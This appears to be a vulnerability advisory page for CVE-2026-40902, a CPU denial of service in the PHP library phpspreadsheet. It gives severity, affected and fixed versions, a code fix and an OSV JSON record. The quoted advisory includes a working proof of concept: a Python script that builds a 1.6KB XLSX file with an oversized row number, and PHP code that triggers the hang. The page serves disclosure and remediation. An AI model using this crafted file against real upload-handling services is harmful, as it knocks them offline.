CVE-2026-40902: Phpoffice/phpspreadsheet Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-7c6m-4442-2x6m
CVSS 7.5
CWE-400 CWE-770
Published
Advisory Summary

CVE-2026-40902 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Phpoffice/phpspreadsheet libraries in the Packagist ecosystem. The issue involves phpspreadsheet has cpu denial of service via unbounded row number in xlsx row dimensions. Remediation is available by upgrading affected packages to version 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4.

CVE-2026-40902 at a Glance

CVE Identifier CVE-2026-40902
GHSA Identifier GHSA-7c6m-4442-2x6m
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Phpoffice/phpspreadsheet
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-40902

To remediate this vulnerability, upgrade all affected Phpoffice/phpspreadsheet dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

phpoffice/phpspreadsheet fixed: 5.7.0
Upgrade phpoffice/phpspreadsheet to 5.7.0
phpoffice/phpspreadsheet fixed: 3.10.5
Upgrade phpoffice/phpspreadsheet to 3.10.5
phpoffice/phpspreadsheet fixed: 2.4.5
Upgrade phpoffice/phpspreadsheet to 2.4.5
phpoffice/phpspreadsheet fixed: 2.1.16
Upgrade phpoffice/phpspreadsheet to 2.1.16
phpoffice/phpspreadsheet fixed: 1.30.4
Upgrade phpoffice/phpspreadsheet to 1.30.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for phpoffice/phpspreadsheet

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-40902, inspect your project dependencies for Phpoffice/phpspreadsheet:

inspect dependencies for phpoffice/phpspreadsheet

Analyze the terminal output to locate any version of Phpoffice/phpspreadsheet in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.7.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Phpoffice/phpspreadsheet, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The XLSX reader's `ColumnAndRowAttributes::readRowAttributes()` method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a minimal XLSX file (~1.6KB) containing a `<row r="999999999"/>` element that inflates `cachedHighestRow` to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources. ## Details In `src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php` at line 216, the row index is cast directly from XML without bounds checking: ```php // ColumnAndRowAttributes.php:216 $rowIndex = (int) $row['r']; // No validation against AddressRange::MAX_ROW ``` This value flows through `setRowAttributes()` (line 126) → `$this->worksheet->getRowDimension($rowNumber)` (line 60), which updates the cached highest row in `Worksheet.php:1348`: ```php // Worksheet.php:1342-1349 public function getRowDimension(int $row): RowDimension { if (!isset($this->rowDimensions[$row])) { $this->rowDimensions[$row] = new RowDimension($row); $this->cachedHighestRow = max($this->cachedHighestRow, $row); } return $this->rowDimensions[$row]; } ``` The inflated `cachedHighestRow` is then returned by `getHighestRow()` (line 1099) and used as the default end bound in `RowIterator::resetEnd()` (RowIterator.php:86): ```php // RowIterator.php:86 $this->endRow = $endRow ?: $this->subject->getHighestRow(); ``` Notably, column attributes already have equivalent validation at line 161 (`AddressRange::MAX_COLUMN_INT`), and cell coordinates are validated in `Coordinate::coordinateFromString()` (line 40) against `MAX_ROW`. The row dimension attribute path bypasses both of these checks. ## PoC **Step 1: Create the malicious XLSX file (~1.6KB)** ```python import zipfile import io content_types = '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>' rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>' workbook = '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>' wb_rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>' sheet = '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="999999999" ht="15"/></sheetData></worksheet>' with zipfile.ZipFile('dos_row.xlsx', 'w', zipfile.ZIP_DEFLATED) as zf: zf.writestr('[Content_Types].xml', content_types) zf.writestr('_rels/.rels', rels) zf.writestr('xl/workbook.xml', workbook) zf.writestr('xl/_rels/workbook.xml.rels', wb_rels) zf.writestr('xl/worksheets/sheet1.xml', sheet) print("Created dos_row.xlsx") ``` **Step 2: Load with PhpSpreadsheet (CPU exhaustion)** ```php <?php require 'vendor/autoload.php'; use PhpOffice\PhpSpreadsheet\IOFactory; $reader = IOFactory::createReader('Xlsx'); $spreadsheet = $reader->load('dos_row.xlsx'); $sheet = $spreadsheet->getActiveSheet(); echo "Highest row: " . $sheet->getHighestRow() . "\n"; // Output: Highest row: 999999999 // This will consume CPU for ~144 seconds (999M iterations) foreach ($sheet->getRowIterator() as $row) { // CPU exhaustion } ``` **Expected output:** `getHighestRow()` returns 999999999. Any row iteration hangs indefinitely. ## Impact - **CPU Denial of Service:** A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using `getRowIterator()` or uses `getHighestRow()` as a loop bound. Estimated CPU burn is ~144 seconds per file. - **Memory Exhaustion:** Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory. - **Amplification:** The ratio of input size to resource consumption is extreme — 1,580 bytes triggers nearly 1 billion iterations. - **Common Attack Surface:** PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely. ## Recommended Fix Add row bounds validation in `readRowAttributes()` at line 216, matching the column validation pattern already present at line 161: ```php // src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216 // Before: $rowIndex = (int) $row['r']; // After: $rowIndex = (int) $row['r']; if ($rowIndex < 1 || $rowIndex > AddressRange::MAX_ROW) { continue; } ``` The `AddressRange` import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in `Coordinate::coordinateFromString()` and the column validation at line 161.

CVE-2026-40902 Affected Phpoffice/phpspreadsheet Versions

5 component(s)
Fixed Versions:
5.7.03.10.52.4.52.1.161.30.4
Product / Package Ecosystem Affected Versions Fixed Version
phpoffice/phpspreadsheet
Packagist
≥ 4.0.0
< 5.7.0
5.7.0
phpoffice/phpspreadsheet
Packagist
≥ 3.3.0
< 3.10.5
3.10.5
phpoffice/phpspreadsheet
Packagist
≥ 2.2.0
< 2.4.5
2.4.5
phpoffice/phpspreadsheet
Packagist
≥ 2.0.0
< 2.1.16
2.1.16
phpoffice/phpspreadsheet
Packagist
< 1.30.4
1.30.4

References

Frequently Asked Questions

What is CVE-2026-40902?
CVE-2026-40902 is a security vulnerability in Phpoffice/phpspreadsheet involving PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions under CWE-400: Uncontrolled Resource Consumption.
Which Phpoffice/phpspreadsheet versions are affected?
Affected versions include releases prior to 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4 across affected packages: phpoffice/phpspreadsheet.
What version fixes CVE-2026-40902?
Upgrading to 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is phpoffice/phpspreadsheet affected?
Yes, phpoffice/phpspreadsheet is affected in releases prior to 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4. Upgrade your dependency to 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4 or later.
What is the CVSS score of CVE-2026-40902?
CVE-2026-40902 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-40902?
CVE-2026-40902 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check Packagist dependencies for CVE-2026-40902?
Run the dependency tree command: 'inspect dependencies for phpoffice/phpspreadsheet'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7c6m-4442-2x6m",
  "modified" : "2026-05-13T16:31:37Z",
  "published" : "2026-04-29T20:24:13Z",
  "aliases" : [ "CVE-2026-40902" ],
  "summary" : "PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions",
  "details" : "## Summary\n\nThe XLSX reader's `ColumnAndRowAttributes::readRowAttributes()` method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a minimal XLSX file (~1.6KB) containing a `<row r=\"999999999\"/>` element that inflates `cachedHighestRow` to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.\n\n## Details\n\nIn `src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php` at line 216, the row index is cast directly from XML without bounds checking:\n\n```php\n// ColumnAndRowAttributes.php:216\n$rowIndex = (int) $row['r'];  // No validation against AddressRange::MAX_ROW\n```\n\nThis value flows through `setRowAttributes()` (line 126) → `$this->worksheet->getRowDimension($rowNumber)` (line 60), which updates the cached highest row in `Worksheet.php:1348`:\n\n```php\n// Worksheet.php:1342-1349\npublic function getRowDimension(int $row): RowDimension\n{\n    if (!isset($this->rowDimensions[$row])) {\n        $this->rowDimensions[$row] = new RowDimension($row);\n        $this->cachedHighestRow = max($this->cachedHighestRow, $row);\n    }\n    return $this->rowDimensions[$row];\n}\n```\n\nThe inflated `cachedHighestRow` is then returned by `getHighestRow()` (line 1099) and used as the default end bound in `RowIterator::resetEnd()` (RowIterator.php:86):\n\n```php\n// RowIterator.php:86\n$this->endRow = $endRow ?: $this->subject->getHighestRow();\n```\n\nNotably, column attributes already have equivalent validation at line 161 (`AddressRange::MAX_COLUMN_INT`), and cell coordinates are validated in `Coordinate::coordinateFromString()` (line 40) against `MAX_ROW`. The row dimension attribute path bypasses both of these checks.\n\n## PoC\n\n**Step 1: Create the malicious XLSX file (~1.6KB)**\n\n```python\nimport zipfile\nimport io\n\ncontent_types = '<?xml version=\"1.0\" encoding=\"UTF-8\"?><Types xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\"><Default Extension=\"rels\" ContentType=\"application/vnd.openxmlformats-package.relationships+xml\"/><Default Extension=\"xml\" ContentType=\"application/xml\"/><Override PartName=\"/xl/workbook.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml\"/><Override PartName=\"/xl/worksheets/sheet1.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml\"/></Types>'\n\nrels = '<?xml version=\"1.0\" encoding=\"UTF-8\"?><Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"><Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument\" Target=\"xl/workbook.xml\"/></Relationships>'\n\nworkbook = '<?xml version=\"1.0\" encoding=\"UTF-8\"?><workbook xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\"><sheets><sheet name=\"Sheet1\" sheetId=\"1\" r:id=\"rId1\"/></sheets></workbook>'\n\nwb_rels = '<?xml version=\"1.0\" encoding=\"UTF-8\"?><Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"><Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet\" Target=\"worksheets/sheet1.xml\"/></Relationships>'\n\nsheet = '<?xml version=\"1.0\" encoding=\"UTF-8\"?><worksheet xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\"><sheetData><row r=\"1\"><c r=\"A1\"><v>1</v></c></row><row r=\"999999999\" ht=\"15\"/></sheetData></worksheet>'\n\nwith zipfile.ZipFile('dos_row.xlsx', 'w', zipfile.ZIP_DEFLATED) as zf:\n    zf.writestr('[Content_Types].xml', content_types)\n    zf.writestr('_rels/.rels', rels)\n    zf.writestr('xl/workbook.xml', workbook)\n    zf.writestr('xl/_rels/workbook.xml.rels', wb_rels)\n    zf.writestr('xl/worksheets/sheet1.xml', sheet)\n\nprint(\"Created dos_row.xlsx\")\n```\n\n**Step 2: Load with PhpSpreadsheet (CPU exhaustion)**\n\n```php\n<?php\nrequire 'vendor/autoload.php';\n\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\n\n$reader = IOFactory::createReader('Xlsx');\n$spreadsheet = $reader->load('dos_row.xlsx');\n$sheet = $spreadsheet->getActiveSheet();\n\necho \"Highest row: \" . $sheet->getHighestRow() . \"\\n\";\n// Output: Highest row: 999999999\n\n// This will consume CPU for ~144 seconds (999M iterations)\nforeach ($sheet->getRowIterator() as $row) {\n    // CPU exhaustion\n}\n```\n\n**Expected output:** `getHighestRow()` returns 999999999. Any row iteration hangs indefinitely.\n\n## Impact\n\n- **CPU Denial of Service:** A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using `getRowIterator()` or uses `getHighestRow()` as a loop bound. Estimated CPU burn is ~144 seconds per file.\n- **Memory Exhaustion:** Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory.\n- **Amplification:** The ratio of input size to resource consumption is extreme — 1,580 bytes triggers nearly 1 billion iterations.\n- **Common Attack Surface:** PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.\n\n## Recommended Fix\n\nAdd row bounds validation in `readRowAttributes()` at line 216, matching the column validation pattern already present at line 161:\n\n```php\n// src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216\n// Before:\n$rowIndex = (int) $row['r'];\n\n// After:\n$rowIndex = (int) $row['r'];\nif ($rowIndex < 1 || $rowIndex > AddressRange::MAX_ROW) {\n    continue;\n}\n```\n\nThe `AddressRange` import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in `Coordinate::coordinateFromString()` and the column validation at line 161.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0"
      }, {
        "fixed" : "5.7.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.6.0"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.3.0"
      }, {
        "fixed" : "3.10.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.10.4"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.2.0"
      }, {
        "fixed" : "2.4.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.4.4"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0"
      }, {
        "fixed" : "2.1.16"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.1.15"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.30.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.30.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7c6m-4442-2x6m"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40902"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-29T20:24:13Z",
    "nvd_published_at" : "2026-05-12T22:16:33Z"
  }
}